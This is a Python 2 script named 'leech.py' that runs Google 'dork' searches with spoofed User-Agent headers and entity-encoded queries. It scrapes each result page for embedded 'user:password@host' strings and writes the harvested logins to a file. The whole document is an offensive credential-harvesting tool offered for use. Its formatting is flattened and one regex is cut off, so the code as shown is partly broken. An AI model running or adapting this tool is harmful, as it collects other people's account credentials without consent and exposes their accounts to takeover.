import re,urllib2,binascii,sys from urllib import quote max_results = 20 # Maximum number of Google results output_file = "out.txt" # File for writing logins to def encodeDork(s): tmp = "" for i in xrange(0,len(s)): tmp += "&#" + str(int(binascii.b2a_hex(s[i]), 16)) + ";" return quote(tmp) def scan(url): u = urllib2.build_opener() u.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'), ('Host', 'www.google.com'), ('Keep-Alive', '300')] f = False try: dat = u.open(url).read().lower() reg = re.compile("(\w*?:\w*?)@[\w\.\/\-_]+", re.IGNORECASE) passes = re.findall(reg, dat) if passes: return passes else: return False except: return False def google(dork): global max_results,output_file u = urllib2.build_opener() u.addheaders = [('User-agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11'), ('Host', 'www.google.com'), ('Accept', 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'), ('Keep-Alive', '300')] dat = u.open("http://www.google.com/search?q=" + encodeDork(dork) + "&start=0").read() max = int(re.findall("of about* ([\d,]+)<\/b>", dat)[0].replace(",", "")) max = max > max_results and max_results or max i = 0 passes = [] while i < max: dat = u.open("http://www.google.com/search?q=" + encodeDork(dork) + "&start=" + str(i)).read() links = re.findall("

.*?<\/a>", dat) if links: for l in links: res = scan(l) if res != False: for p in res: passes.append(p) else: sys.exit("No sites found") i = max>10 and (i+10) or (i+1) if passes: f = file(output_file, 'w') for p in list(set(passes)): f.write(p + "\n") f.close() if len(sys.argv) > 0: google(sys.argv[1]) else: print "Usage: leech.py [search]"